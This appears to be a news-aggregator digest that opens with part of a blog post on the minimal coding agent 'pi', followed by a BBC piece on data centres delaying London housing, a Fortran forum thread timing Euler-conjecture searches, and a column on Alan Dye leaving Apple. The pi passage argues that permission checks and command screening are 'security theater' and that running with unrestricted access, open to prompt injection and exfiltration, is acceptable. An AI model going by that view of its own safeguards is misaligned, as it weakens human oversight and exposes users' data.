    As it turns out, these four tools are all you need for an effective coding agent. Models know how to use bash and have been trained on the read, write, and edit tools with similar input schemas. Compare this to Claude Code's tool definitions or opencode's tool definitions (which are clearly derived from Claude Code's, same structure, same examples, same git commit flow). Notably, Codex's tool definitions are similarly minimal to pi's.

    pi's system prompt and tool definitions together come in below 1000 tokens.

    YOLO by default

    pi runs in full YOLO mode and assumes you know what you're doing. It has unrestricted access to your filesystem and can execute any command without permission checks or safety rails. No permission prompts for file operations or commands. No pre-checking of bash commands by Haiku for malicious content. Full filesystem access. Can execute any command with your user privileges.

    If you look at the security measures in other coding agents, they're mostly security theater. As soon as your agent can write code and run code, it's pretty much game over. The only way you could prevent exfiltration of data would be to cut off all network access for the execution environment the agent runs in, which makes the agent mostly useless. An alternative is allow-listing domains, but this can also be worked around through other means.

    Simon Willison has written extensively about this problem. His "dual LLM" pattern attempts to address confused deputy attacks and data exfiltration, but even he admits "this solution is pretty bad" and introduces enormous implementation complexity. The core issue remains: if an LLM has access to tools that can read private data and make network requests, you're playing whack-a-mole with attack vectors.

    Since we cannot solve this trifecta of capabilities (read data, execute code, network access), pi just gives in. Everybody is running in YOLO mode anyways to get any productive work done, so why not make it the default and only option?

    By default, pi has no web search or fetch tool. However, it can use curl or read files from disk, both of which provide ample surface area for prompt injection attacks. Malicious content in files or command outputs can influence behavior. If you're uncomfortable with full access, run pi inside a container or use a different tool if you need (faux) guardrails.

    No built-in to-dos

    pi does not and will not support built-in to-dos. In my experience, to-do lists generally confuse models more than they help. They add state that the model has to track and update, which introduces more opportunities for things to go wrong.

    If you need task tracking, make it externally stateful by writing to a file:

    # TODO.md
    
    - [x] Implement user authentication
    - [x] Add database migrations
    - [ ] Write API documentation
    - [ ] Add rate limiting
    

    The agent can read and update this file as needed. Using checkboxes keeps track of what's done and what remains. Simple, visible, and under your control.

    No plan mode

    pi does not and will not have a built-in plan mode. Telling the agent to think through a problem together with you, without modifying files or executing commands, is generally sufficient.

    If you need persistent planning across sessions, write it to a file:

    # PLAN.md
    
    ## Goal
    Refactor authentication system to support OAuth
    
    ## Approach
    1. Research OAuth 2.0 flows
    2. Design token storage schema
    3. Implement authorization server endpoints
    4. Update client-side login flow
    5. Add tests
    
    ## Current Step
    Working on step 3 - authorization endpoints
    

    The agent can read, update, and reference the plan as it works. Unlike ephemeral planning modes that only exist within a session, file-based plans can be shared across sessions, and can be versioned with your code.

    Funnily enough, Claude Code now has a Plan Mode that's essentially read-only analysis, and it will eventually write a markdown file to disk. And you can basically not use plan mode without approving a shit ton of command invocations, because without that, planning is basically impossible.

    The difference with pi is that I have full observability of everything. I get to see which sources the agent actually looked at and which ones it totally missed. In Claude Code, the orchestrating Claude instance usually spawns a sub-agent and you have zero visibility into what that sub-agent does. I get to see the markdown file immediately. I can edit it collaboratively with the agent. In short, I need observability for planning and I don't get that with Claude Code's plan mode.

    If you must restrict the agent during planning, you can specify which tools it has access to via the CLI:

    pi --tools read,grep,find,ls
    

    This gives you read-only mode for exploration and planning without the agent modifying anything or being able to run bash commands. You won't be happy with that though.

    No MCP support

    pi does not and will not support MCP. I've written about this extensively , but the TL;DR is: MCP servers are overkill for most use cases, and they come with significant context overhead.

    Popular MCP servers like Playwright MCP (21 tools, 13.7k tokens) or Chrome DevTools MCP (26 tools, 18k tokens) dump their entire tool descriptions into your context on every session. That's 7-9% of your context window gone before you even start working. Many of these tools you'll never use in a given session.

    The alternative is simple: build CLI tools with README files. The agent reads the README when it needs the tool, pays the token cost only when necessary (progressive disclosure), and can use bash to invoke the tool. This approach is composable (pipe outputs, chain commands), easy to extend (just add another script), and token-efficient.

    Here's how I add web search to pi:

    I maintain a collection of these tools at github.com/badlogic/agent-tools . Each tool is a simple CLI with a README that the agent reads on demand.

    If you absolutely must use MCP servers, look into Peter Steinberger's mcporter tool that wraps MCP servers as CLI tools.

    No background bash

    pi's bash tool runs commands synchronously. There's no built-in way to start a dev server, run tests in the background, or interact with a REPL while the command is still running.

    This is intentional. Background process management adds complexity: you need process tracking, output buffering, cleanup on exit, and ways to send input to running processes. Claude Code handles some of this with their background bash feature, but it has poor observability (a common theme with Claude Code) and forces the agent to track running instances without providing a tool to query them. In earlier Claude Code versions, the agent forgot about all its background processes after context compaction and had no way to query them, so you had to manually kill them. This has since been fixed.

    Use tmux instead. Here's pi debugging a crashing C program in LLDB:

    How's that for observability? The same approach works for long-running dev servers, watching log output, and similar use cases. And if you wanted to, you could hop into that LLDB session above via tmux and co-debug with the agent. Tmux also gives you a CLI argument to list all active sessions. How nice.

    There's simply no need for background bash. Claude Code can use tmux too, you know. Bash is all you need.

    No sub-agents

    pi does not have a dedicated sub-agent tool. When Claude Code needs to do something complex, it often spawns a sub-agent to handle part of the task. You have zero visibility into what that sub-agent does. It's a black box within a black box. Context transfer between agents is also poor. The orchestrating agent decides what initial context to pass to the sub-agent, and you generally have little control over that. If the sub-agent makes a mistake, debugging is painful because you can't see the full conversation.

    If you need pi to spawn itself, just ask it to run itself via bash. You could even have it spawn itself inside a tmux session for full observability and the ability to interact with that sub-agent directly.

    But more importantly: fix your workflow, at least the ones that are all about context gathering. People use sub-agents within a session thinking they're saving context space, which is true. But that's the wrong way to think about sub-agents. Using a sub-agent mid-session for context gathering is a sign you didn't plan ahead. If you need to gather context, do that first in its own session. Create an artifact that you can later use in a fresh session to give your agent all the context it needs without polluting its context window with tool outputs. That artifact can be useful for the next feature too, and you get full observability and steerability, which is important during context gathering.

    Because despite popular belief, models are still poor at finding all the context needed for implementing a new feature or fixing a bug. I attribute this to models being trained to only read parts of files rather than full files, so they're hesitant to read everything. Which means they miss important context and can't see what they need to properly complete the task.

    Just look at the pi-mono issue tracker and the pull requests. Many get closed or revised because the agents couldn't fully grasp what's needed. That's not the fault of the contributors, which I truly appreciate because even incomplete PRs help me move faster. It just means we trust our agents too much.

    I'm not dismissing sub-agents entirely. There are valid use cases. My most common one is code review: I tell pi to spawn itself with a code review prompt (via a custom slash command) and it gets the outputs.

    ---
    description: Run a code review sub-agent
    ---
    Spawn yourself as a sub-agent via bash to do a code review: $@
    
    Use `pi --print` with appropriate arguments. If the user specifies a model,
    use `--provider` and `--model` accordingly.
    
    Pass a prompt to the sub-agent asking it to review the code for:
    - Bugs and logic errors
    - Security issues
    - Error handling gaps
    
    Do not read the code yourself. Let the sub-agent do that.
    
    Report the sub-agent's findings.
    

    And here's how I use this to review a pull request on GitHub:

    With a simple prompt, I can select what specific thing I want to review and what model to use. I could even set thinking levels if I wanted to. I can also save out the full review session to a file and hop into that in another pi session if I wanted. Or I can say this is an ephemeral session and it shouldn't be saved to disk. All of that gets translated into a prompt that the main agent reads and based on which it executes itself again via bash. And while I don't get full observability into the inner workings of the sub-agent, I get full observability on its output. Something other harnesses don't really provide, which makes no sense to me.

    Of course, this is a bit of a simulated use case. In reality, I would just spawn a new pi session and ask it to review the pull request, possibly pull it into a branch locally. After I see its initial review, I give my own review and then we work on it together until it's good. That's the workflow I use to not merge garbage code.

    Spawning multiple sub-agents to implement various features in parallel is an anti-pattern in my book and doesn't work, unless you don't care if your codebase devolves into a pile of garbage.

    Benchmarks

    I make a lot of grandiose claims, but do I have numerical proof that all the contrarian things I say above actually work? I have my lived experience, but that's hard to transport in a blog post and you'd just have to believe me. So I created a Terminal-Bench 2.0 test run for pi with Claude Opus 4.5 and let it compete against Codex, Cursor, Windsurf, and other coding harnesses with their respective native models. Obviously, we all know benchmarks aren't representative of real-world performance, but it's the best I can provide you as a sort of proof that not everything I say is complete bullshit.

    I performed a complete run with five trials per task, which makes the results eligible for submission to the leaderboard. I also started a second run that only runs during CET because I found that error rates (and consequently benchmark results) get worse once PST goes online. Here are the results for the first run:

    And here's pi's placement on the current leaderboard as of December 2nd, 2025:

    And here's the results.json file I've submitted to the Terminal-Bench folks for inclusion in the leaderboard. The bench runner for pi can be found in this repository if you want to reproduce the results. I suggest you use your Claude plan instead of pay-as-you-go.

    Finally, here's a little glimpse into the CET-only run:

    This is going to take another day or so to complete. I will update this blog post once that is done.

    Also note the ranking of Terminus 2 on the leaderboard. Terminus 2 is the Terminal-Bench team's own minimal agent that just gives the model a tmux session. The model sends commands as text to tmux and parses the terminal output itself. No fancy tools, no file operations, just raw terminal interaction. And it's holding its own against agents with far more sophisticated tooling and works with a diverse set of models. More evidence that a minimal approach can do just as well.

    In summary

    Benchmark results are hilarious, but the real proof is in the pudding. And my pudding is my day-to-day work, where pi has been performing admirably. Twitter is full of context engineering posts and blogs, but I feel like none of the harnesses we currently have actually let you do context engineering. pi is my attempt to build myself a tool where I'm in control as much as possible.

    I'm pretty happy with where pi is. There are a few more features I'd like to add, like compaction or tool result streaming , but I don't think there's much more I'll personally need. Missing compaction hasn't been a problem for me personally. For some reason, I'm able to cram hundreds of exchanges between me and the agent into a single session, which I couldn't do with Claude Code without compaction.

    That said, I welcome contributions. But as with all my open source projects, I tend to be dictatorial. A lesson I've learned the hard way over the years with my bigger projects. If I close an issue or PR you've sent in, I hope there are no hard feelings. I will also do my best to give you reasons why. I just want to keep this focused and maintainable. If pi doesn't fit your needs, I implore you to fork it. I truly mean it. And if you create something that even better fits my needs, I'll happily join your efforts.

    I think some of the learnings above transfer to other harnesses as well. Let me know how that goes for you.

    This page respects your privacy by not using cookies or similar technologies and by not collecting any personally identifiable information.

    New homes in London were delayed by 'energy-hungry' data centres

    Hacker News
    www.bbc.com
    2025-12-04 03:51:09
    Comments...
    Original Article

    Laura Cress Technology reporter

    The rapid growth of "energy-hungry" data centres is delaying new homes in London, just as its housing crisis is "at its worst", a new report has warned.

    Data centres are giant warehouses full of powerful computers used to run digital services, such as streaming and artificial intelligence.

    However, they require masses of electricity from the National Grid to keep running.

    According to the report from the London Assembly Planning and Regeneration Committee , some new housing developments in west London were temporarily delayed after the electricity grid reached full capacity.

    The committee's chair James Small-Edwards said energy capacity had become a "real constraint" on housing and economic growth in the city.

    In 2022, the General London Assembly (GLA) began to investigate delays to housing developments in the boroughs of Ealing, Hillingdon and Hounslow - after it received reports that completed projects were being told they would have to "wait until 2037" to get a connection to the electricity grid.

    There were fears the boroughs may have to "pause new housing altogether" until the issue was resolved.

    But the GLA found short-term fixes with the National Grid and energy regulator Ofgem to ensure the "worst-case scenario" did not happen - though several projects were still set back.

    The strains on parts of London's housing highlighted the need for "longer term planning" around grid capacity in the future, said the report.

    It added that while data centres made up fewer than 10% of the UK's total electricity demand last year, that was expected to rise up by to 600% between 2025 and 2050.

    It estimated the energy usage of one typical data centre was similar to that of roughly 100,000 households.

    Figures shared with BBC News in August showed an estimated 447 data centres currently in the UK, with that number set to rise by about 100 in the next few years.

    More than half of new data centres are planned in and around London.

    Andrew Dakers, chief executive of industry body West London Business, told BBC News the area was proud to host "so much digital tech and investment", but that it came with challenges.

    "At the moment National Grid are looking to try and get 7 GW of additional power into west London by 2037," he said. "Our ask is that needs to happen faster... 12 years is just too far. The demand is here and now".

    Rhodri Williams, technical director of the Home Builders Federation, told BBC News it was "essential" the government made sure there was "adequate investment" into the supply network to support housing developments.

    Among a list of recommendations, the committee suggested introducing a separate planning category for data centres, to ensure better energy coordination.

    A government spokesperson told BBC News it was exploring "bespoke options", including through the AI Energy Council, to support data centres and the housing sector.

    The report also called on Mayor of London Sir Sadiq Khan to include a dedicated data centre policy in the next London Plan.

    A spokesperson for the mayor told BBC News they are working to include "how to best address the need for data centres in London" in the next London Plan, and would "carefully consider" the recommendations of the report.

    "Under Sadiq, we have seen more new council home starts in London than at any time since the 1970s and, prior to the pandemic, more new homes completed in London than any time since the 1930s," they added.

    Additional reporting by Jess Warren.

    Euler Conjecture and CDC 6600

    Hacker News
    fortran-lang.discourse.group
    2025-12-04 03:50:36
    Comments...
    Original Article

    1

    In 1966, Lander and Parkin published a paper containing exactly two sentences . They reported that they had used a program that used direct search on a CDC 6600 to obtain one counterexample to Euler’s Sum Of Powers Conjecture. The result:

    27^4 + 84^4 +110^4 +133^4 =144^4
    
    
    A small program, written in Fortran and using OpenMP, reproduces this result (and others of a similar nature) in two minutes on a current PC (OpenMP, 8 threads). 
    I am curious to know if anyone can estimate how long the CDC 6600 (which cost about $10 million in 1966, equivalent to about $ 70 million this year) would have run before it produced the reported result.
    
    I am grateful to John Nichols for bringing the paper to my attention in the Intel Fortran Forum a few years ago.
    
    Some details on the search algorithm used in the 1966 paper may be seen in another paper, https://www.ams.org/journals/mcom/1967-21-097/S0025-5718-1967-0220669-3/S0025-5718-1967-0220669-3.pdf.
    

    4 minutes seems like a lot of time.

    I just tested this with:

    ! sum_conjecture.f90
    !
    ! 27^5 + 84^5 + 110^5 + 133^5 = 144^5
    !
    use, intrinsic :: iso_fortran_env, only: int64
    implicit none
    integer(int64) :: i,j,k,l,n
    
    outer: do i = 1_int64, 10000_int64
      do j = 1_int64, i
        do k = 1_int64, i
          do l = 1_int64, i
            do n = 1_int64, i
              if (j**5 + k**5 + l**5 + n**5 == i**5) then
                print *, "i^5 = ", i**5
                print *, "j^5 + k^5 + l^5 + n^5 = ", j**5 + k**5 + l**5 + n**5
                print *, j,k,l,n,i
                exit outer
              end if
            end do
          end do
        end do
      end do
    end do outer
    
    end
    

    On an Apple M2 Pro I get:

    $ time ./a.out
     i^5 =           61917364224
     j^5 + k^5 + l^5 + n^5 =           61917364224
                       27                   84                  110                  133                  144
    
    real	0m5.956s
    user	0m5.873s
    sys	0m0.060s
    

    3

    0.4 seconds, but I made the loops hyper-triangular.

    4

    0.2 seconds if you precompute all integer fifth-powers.

    5

    It is an interesting example since it is dominated by floating point multiplication, with a relatively small number of integer adds, and minimal memory references.

    A floating point multiply functional unit on the 6600 took 10 cycles to complete. It wasn’t pipelined. There were actually two FP multiply units. So with a clock speed of 10 mhz, it could theoretically do ~2 million multiplies/sec. The 6600 allowed other instructions in other functional units to operate in parallel via its “scoreboard” logic. The compiler could schedule integer adds and memory loads/stores into the gaps while the multiplier units were busy.

    In the later CDC 7600, Mr Cray ditched the scoreboard and went to fully pipelined functional units (except floating divide). So a new floating point multiply could be issued every clock period. Clock speed was faster (36 mhz) as well. But I’d guess the bottleneck would have moved to the eight 60-bit X registers.

    Both the 6600 and 7600 did integer multiplies via floating point multiply units. Integer adds were done via a separate integer add functional unit.

    Do you know how many clock cycles an integer multiply and a floating point multiply took on these machines? The integer instruction supposedly could skip the exponent operations.

    BTW, the inner loop in that code really only does one n**5 operation, one addition, and one comparison. The compiler should move all the other stuff to the outside of the inner loop.

    7

    Timing is identical for integer vs FP multiply. It is really a FP instruction either way - just unrounded vs rounded variants, and of course, zeros in the upper 12 bits for sign and exponent. There is also a ‘double precision’ version of the multiply - which gives the upper 48 bits of a 96 bit result.

    8

    It’s been a long time since I’ve thought about these details… The DP product instruction returns the lower 48 bits…

    Perusing my copy of the classic “Assembly Language Programming”, by Ralph Grishman, he reminds us that the earliest versions of the 6600 did not have the ability to directly multiply integers via the FP multiply. So one had to use the Pack instruction to convert the integers to FP, then the DP product instruction, then convert back to integer via the Unpack instruction.

    CDC fairly quickly realized they could make a small change to the DP product instruction to recognize that “if an integer smaller than 2^48 is used as an operand to a floating point instruction, it is treated as a floating point number with a biased exponent of 0 and hence a true exponent of -1777(base 8).” Before the change was made, “if both operands were integers less than 2^48 the machine compute a true exponent of -3776(base 8). Since a floating point number that small can not be represented in 6600 floating point format, the instruction would return a zero result.”

    The hardware change was made to most of the earliest machines.

    9

    I was going to say, 5s is way too long. 0.4s seems about right for this kind of problem. :slight_smile:

    10

    On my AMD Ryzen 5 5600x running Linux Mint 21.3 I get the following times for Ivan’s code using AMD AOCC5.0 flang, nvfortran 25.5, and ifx 2025.1.1

    flang - 8.122 secs
    nvfortran - 8.09 secs
    ifx - 42.68 secs

    using the Linux time function. Since both AMD and Nvidia are based on classic flang I’m not surprised they give the same times. ifx though is a puzzle. All runs were compiled with -O3 optimization

    Good idea. That gets the inner loop down to an integer addition and a couple of array lookups.

    program sum_conjecture
       ! sum_conjecture.f90
       !
       ! 27^5 + 84^5 + 110^5 + 133^5 = 144^5
       !
       use, intrinsic :: iso_fortran_env, only: int64
       implicit none
       integer(int64), parameter :: nmax = 10000_int64
       integer(int64) :: i, j, k, l, n, sk, sl, sn
       integer(int64) :: n5(nmax)
       character(*), parameter :: cfmt = '(*(g0,1x))'
    
       outer: do i = 1_int64, nmax
          n5(i) = i**5
          do j = 1_int64, i
             do k = 1_int64, j
                sk = n5(j) + n5(k)
                do l = 1_int64, k
                   sl = sk + n5(l)
                   do n = 1_int64, l
                      sn = sl + n5(n)
                      if ( sn == n5(i) ) then
                         print cfmt, "i^5 = ", n5(i)
                         print cfmt, j, k, l, n, i
                         exit outer
                      end if
                   end do
                end do
             end do
          end do
       end do outer
    
    end program sum_conjecture
    
    $ gfortran -O3 sum_conjecture.f90 
    $ time a.out
    i^5 =  61917364224
    133 110 84 27 144
    
    real    0m0.188s
    user    0m0.174s
    sys     0m0.007s
    

    The timings are with an Apple M1 with MacOS.

    12

    it’s also possible to compute the integer fifth-powers at compile time.

    integer(int64), parameter :: n5(nmax) = int([(i,i=1_int64,nmax)],int64)**5_int64
    

    it’s not faster for me, but it gives overflow warnings upfront.

    I don’t think this warning applies here because the array is small, but the danger of this approach in general is that the executable file must contain that compile-time computed data, which means that it takes time to load that memory from disk (SSD, etc.) into the process memory on startup. In contrast, if that memory is allocated at run time directly by the executable, and then filled by cpu instructions, then it can be some 10^3 to 10^5 times faster. You can also see the difference by looking at the size of the executable image ( ls -l a.out ). With most modern compilers, you do not see the size of the declared array reflected in the executable size unless they are parameter arrays, arrays initialized at compile time, or arrays in common blocks.

    Also, if done at compile time, the whole array would need to be computed. That is 10^4 elements in this case (and integer overflows would be generated in doing so). The above run time code only computes 144 elements of the array before finding a solution and stopping.

    A further question is where does that extra effort get charged? This extra effort is appropriate if the user is paying for that time (e.g. with money, or with elapsed time, or with total throughput through the machine), but not if that overhead is somehow not charged as user time (e.g. in a timeshare or batch environment with many other users). This is why the programmer sometimes writes code to minimize wall time and sometimes to minimize cpu time. Those two goals are not always exactly the same.

    In the original code, the posix time command was used for the timings. That command returns three different time values for exactly this reason. If you alone own the machine you are running on, and you want to maximize throughput through that machine every 24 hour period, then it is the elapsed time that is critical. If you are one of many users sharing the machine, then it is the user time that you want to minimize, the system time is not charged to you because while your job is stalled waiting for the disk to respond, someone else’s job is swapped in and is being charged to execute its user time.

    Here is the timing result of that last version of the code using gfortran -O3 with an Apple M2 cpu
    on MacOS. It computes the i**5 values at run time, so the system time is minimal.

    i^5 =  61917364224
    133 110 84 27 144
    
    real    0m0.141s
    user    0m0.139s
    sys     0m0.002s
    

    One other comment about timings is that they are almost never really consistent from run to run. For small segments of code like this, one can do

    $ time a.out; time a.out; time a.out
    

    The first results are usually longer than the others, which are then usually more consistent if not identical at the millisecond level. But if timings are measured at the microsecond level, they would show variations too.

    I think int64 just doesn’t have enough range.

    > nagfor test_int64.f90
    NAG Fortran Compiler Release 7.2(Shin-Urayasu) Build 7203
    Warning: test_int64.f90, line 8: Unused PARAMETER N5
    Error: test_int64.f90, line 8: Integer overflow for exponentiation 6209**5
    Errors in declarations, no further processing for TEST
    [NAG Fortran Compiler error termination, 1 error, 1 warning]
    
    Click for test_int64.f90
    program test
    use, intrinsic :: iso_fortran_env, only: int64
    implicit none
    
    integer(int64) :: i
    
    integer(int64), parameter :: nmax = 10000_int64
    integer(int64), parameter :: n5(nmax) = int([(i,i=1_int64,nmax)],int64)**5_int64
    
    end program
    

    Yes, i=6208 is the largest integer for which i**5 can be computed without overflow, so nmax=10000 is overkill. But imagine a situation with an array say 10^8 or 10^9 in size, and the choice is to compute it at compile time or at run time. Then you can see how the differences in executable size and the differences in compile time vs. run time efficiency become relevant.

    16

    @RonShepard , Here is a shortened version of your code, guided by the motto “calculate just in time” . This version is short enough, fast enough and the aim of the program rich enough in historical interest, that it should be made part of the TIOBE benchmark suite. Does anyone know the process for submission?

    ```
    !
       ! 27^5 + 84^5 + 110^5 + 133^5 = 144^5
       !
       program euler
       use, intrinsic :: iso_fortran_env, only: int64
       implicit none
       integer, parameter :: nmax = 150
       integer(int64) :: i,j, k,l,m
       integer(int64) :: n5(nmax)
       character(*), parameter :: cfmt = '(*(g0,1x))'
    
       outer: do i = 1, nmax
          n5(i) = i**5
          do j = 1, i
             do k = 1, j
                do l = 1, k
                   do m = 1, l
                      if ( n5(j)+n5(k)+n5(l)+n5(m) == n5(i) ) then
                         print cfmt, "i^5 = ", n5(i)
                         print cfmt, j, k, l, m, i
                         exit outer
                      end if
                   end do
                end do
             end do
          end do
       end do outer
    
    end program euler
    ```
    When compiled with the Intel Ifort compiler and run on a Windows PC with Ryzen 7-6800U, this program ran in 0.3 s.
    
    

    17

    A further speed-up may be achieved by noting that mod(the fifth power of an integer,11) has to be in the set {0,1,10}

    Is there a reason why m is an integer and not an int64? On Windows with Intel i7-528K, I got 0.375 s (gfortran) and 0.30 s (Python + Numba).

    19

    That 0.3 s for Python is impressive. Please consider posting your code!

    One would hope that the compiler would automatically move the additions outside of the inner loops. However, one additional reason for manually moving them outside is that you can exit some of the loops early.

             do k = 1, j
                sk = n5(j)+n5(k)
                if ( sk > n5(i) ) exit
                do l = 1, k
                   sl = sk +n5(l)
                   if ( sl > n5(i) ) exit
                   do m = 1, l
                      sm = sl +n5(m)
                      if ( sm > n5(i) ) exit
    

    I doubt that a compiler optimizer would do those early loop exits.

    I notice that if you have a solution to the equation j^5+k^5+l^5+m^5=i^5, then if you multiply the integers by some common integer factor x, then (x j)^5+(x k)^5+(x l)^5+(x m)^5=(x*i)^5 is also a solution. So when one violation of the conjecture is found, that automatically means that an infinite number have been found. I was curious if there are any other violations of the conjecture in addition to the multiples of the (133,110,85,27,144) sequence, so I removed the exit outer statement from the program and let it run for up to i=1728 , and those multiples are the only ones found. I expect that mathematicians who are familiar with this problem already know if there are other violations, but it was a simple thing to do, so I did it. That code ran several hours overnight. I wonder if there are algorithms to do this search in a more efficient, maybe less brute force, way? For example, can you remove the outer i loop, do the other four loops, and then efficiently search the n5(:) array for matches to sm ? If you could do that, it would reduce the effort from O(N^5) to O(N^4). @mecej4 mentioned using modular arithmetic, maybe that could be used to limit some of the possibilities early in the outer loops? Of course, all these things will make the code more complicated.

    ★ Bad Dye Job

    Daring Fireball
    daringfireball.net
    2025-12-04 03:16:33
    It might have made some sense to bring someone from the fashion/brand world to lead software design for Apple Watch, but it sure didn’t seem to make sense for the rest of Apple’s platforms. And the decade of Dye’s HI leadership has proven it....
    Original Article

    In my post earlier today on the then-breaking news that Alan Dye has left Apple to join Meta as chief design officer ( a new title at the company 1 ), I wrote:

    It sounds like Dye chose to jump ship, and wasn’t squeezed out (as it seems with former AI chief John Giannandrea earlier this week). Gurman/Bloomberg are spinning this like a coup for Meta (headline: “ Apple Design Executive Alan Dye Poached by Meta in Major Coup ”), but I think this is the best personnel news at Apple in decades. Dye’s decade-long stint running Apple’s software design team has been, on the whole, terrible — and rather than getting better, the problems have been getting worse.

    Dye’s replacement at Apple is longtime Apple designer Stephen Lemay. I’ve never met Lemay (or at least can’t recall meeting him), and prior to today never heard much about him. But that’s typical for Apple employees. Part of the job working for Apple is remaining under the radar and out of the public eye. What I’ve learned today is that Lemay, very much unlike Dye, is a career interface/interaction designer. Sources I’ve spoken to who’ve worked with Lemay at Apple speak highly of him, particularly his attention to detail and craftsmanship. Those things have been sorely lacking in the Dye era. Not everyone loves everything Lemay has worked on, but nobody bats 1.000 and designers love to critique each other’s work. I’ve chatted with people with criticisms of specific things Lemay has worked on or led at Apple (e.g. aspects of iPadOS multitasking that struck many of us as deliberately limiting, rather than empowering), but everyone I’ve spoken to is happy — if not downright giddy — at the news that Lemay is replacing Dye. Lemay is well-liked personally and deeply respected talent-wise. Said one source, in a position to know the choices, “I don’t think there was a better choice than Lemay.”

    The sentiment within the ranks at Apple is that today’s news is almost too good to be true. People had given up hope that Dye would ever get squeezed out, and no one expected that he’d just up and leave on his own. (If you care about design, there’s nowhere to go but down after leaving Apple. What people overlooked is the obvious: Alan Dye doesn’t actually care about design.)

    What I struggled with in the wake of today’s news is how to square the following contradiction:

    • Dye apparently left for Meta on his own; he wasn’t squeezed out.

    • Apple replacing Dye with Lemay seemingly signals a significant shift in direction, replacing a guy whose approach was almost entirely superficial/visual with a guy who’s spent his entire career sweating actual interaction details.

    If Apple’s senior leadership would have been happy to have Dye remain as leader of Apple’s software design teams, why didn’t they replace him with a Dye acolyte? Conversely, if the decision makers at Apple saw the need for a directional change, why wasn’t Dye pushed out? 2

    The answer, I think, is that the decision to elevate Lemay wasn’t about direction, but loyalty. Why risk putting in a Dye-aligned replacement when that person might immediately get poached too? We know, from this year’s AI recruitment battles, that Zuckerberg is willing to throw almost unfathomable sums of money to poach talent he wants to hire from competitors. Gurman reported that Billy Sorrentino, a Dye deputy who has served as a senior director of design at Apple since 2016, is leaving for Meta with Dye. 3 I don’t have any other names, but word on the street is that other members of Dye’s inner circle are leaving Apple for Meta with him. But those who remain — or who might remain, if they’d have been offered the promotion to replace Dye — simply can’t be trusted from the perspective of senior leadership, who were apparently blindsided by Dye’s departure for Meta. They wouldn’t have given Dye a prime spot in the WWDC keynote if they thought he might be leaving within months.

    So the change in direction we may see — that many of us desperately hope to see — under Lemay’s leadership might be happenstance. More a factor of Lemay being politically safe, as someone predating Dye and outside Dye’s inner circle at Apple, than from Tim Cook or anyone else in senior leadership seeing a need for a directional change in UI design. But happenstance or not, it could be the best thing to happen to Apple’s HI design in the entire stretch since Steve Jobs’s passing and Scott Forstall’s ouster.

    Putting Alan Dye in charge of user interface design was the one big mistake Jony Ive made as Apple’s Chief Design Officer. 4 Dye had no background in user interface design — he came from a brand and print advertising background. Before joining Apple, he was design director for the fashion brand Kate Spade , and before that worked on branding for the ad agency Ogilvy. His promotion to lead Apple’s software interface design team under Ive happened in 2015, when Apple was launching Apple Watch, their closest foray into the world of fashion. It might have made some sense to bring someone from the fashion/brand world to lead software design for Apple Watch, but it sure didn’t seem to make sense for the rest of Apple’s platforms. And the decade of Dye’s HI leadership has proven it.

    The most galling moment in Dye’s entire tenure was the opening of this year’s iPhone event keynote in September , which began with a title card showing the oft-cited Jobs quote “Design is not just what it looks like and feels like. Design is how it works.” The whole problem with the Dye era of HI design at Apple is that it has so largely — not entirely, but largely — been driven purely by how things look. There are a lot of things in Apple’s software — like app icons — that don’t even look good any more. But it’s the “how it works” part that has gone so horribly off the rails. Alan Dye seems like exactly the sort of person Jobs was describing in the first part of that quote: “People think it’s this veneer — that the designers are handed this box and told, ‘Make it look good!’”

    I am not a Liquid Glass hater. I actually think, on the whole, iOS 26 is a better and more usable UI than iOS 18. But MacOS 26 Tahoe is a mess, visually, and I’m not sure there’s a single thing about its UI that is better than MacOS 15 Sequoia. There are new software features in Tahoe that are excellent and serve as legitimate enticements to upgrade. But I’m talking about the user interface — the work from Alan Dye’s HI team, not Craig Federighi’s teams. I think the fact that Liquid Glass is worse on MacOS than it is on iOS is not just a factor of iOS being Apple’s most popular, most profitable, most important platform — and thus garnering more of Apple’s internal attention. I think it’s also about the fact that the Mac interface, with multiple windows, bigger displays, and more complexity, demands more nuanced, more expert, interaction design skills. Things like depth, layering, and unambiguous indications of input focus are important aspects of any platform. But they’re more important on the platform which, by design, shoulders more complexity. Back in 2010, predicting a bright future for the Mac at a time when many pundits were thinking Apple would soon put the entire platform out to pasture, I wrote, “ It’s the heaviness of the Mac that allows iOS to remain light .” That remains as true today as it was 15 years ago. But Liquid Glass, especially as expressed on MacOS, is a lightweight poorly considered design system as a whole, and its conceptual thinness is not sufficient to properly allow the Mac to carry the weight it needs to bear.

    Perhaps more tellingly, there should have been no need for the “ clear/tinted ” Liquid Glass preference setting that Apple added in the 26.1 OS releases. Alan Dye wasn’t fired, by all accounts, but that preference setting was as good a sign as any that he should have been. And it’s very much a sign that inside Apple, there’s a strong enough contingent of people who prioritize how things work — like, you know, whether you can read text against the background of an alert — to get a setting like this shipped, outside the Accessibility section of Settings.

    It remains worrisome that Apple needed to luck into Dye leaving the company. But fortune favors the prepared, and Apple remains prepared by having an inordinate number of longtime talented HI designers at the company. The oddest thing about Alan Dye’s stint leading software design is that there are, effectively, zero design critics who’ve been on his side. The debate regarding Apple’s software design over the last decade isn’t between those on Dye’s side and those against. It’s only a matter of debating how bad it’s been, and how far it’s fallen from its previous remarkable heights. It’s rather extraordinary in today’s hyper-partisan world that there’s nearly universal agreement amongst actual practitioners of user-interface design that Alan Dye is a fraud who led the company deeply astray. It was a big problem inside the company too. I’m aware of dozens of designers who’ve left Apple, out of frustration over the company’s direction, to work at places like LoveFrom, OpenAI, and their secretive joint venture io . I’m not sure there are any experience designers at io who aren’t ex-Apple, and if there are, it’s only a handful. From the stories I’m aware of, the theme is identical: these are designers driven to do great work, and under Alan Dye, “doing great work” was no longer the guiding principle at Apple. If reaching the most users is your goal, go work on design at Google, or Microsoft, or Meta. (Design, of course, isn’t even a thing at Amazon.) Designers choose to work at Apple to do the best work in the industry. That has stopped being true under Alan Dye. The most talented designers I know are the harshest critics of Dye’s body of work, and the direction in which it’s been heading.

    Back in June, after WWDC, I quoted from Alan Dye’s introduction of Liquid Glass during the keynote, and then quoted from Steve Jobs’s introduction of Aqua when he unveiled the Mac OS X Public Beta in January 2000. I wrote :

    Re-watching Jobs’s introduction of Aqua for the umpteenth time, I still find it enthralling. I found Alan Dye’s introduction of Liquid Glass to be soporific, if not downright horseshitty.

    One of the bits from Jobs’s Aqua introduction I quoted was this:

    This is what the top of windows look like. These three buttons look like a traffic signal, don’t they? Red means close the window. Yellow means minimize the window. And green means maximize the window. Pretty simple. And tremendous fit and finish in this operating system. When you roll over these things, you get those. You see them? And when you are no longer the key window, they go transparent. So a lot of fit and finish in this.

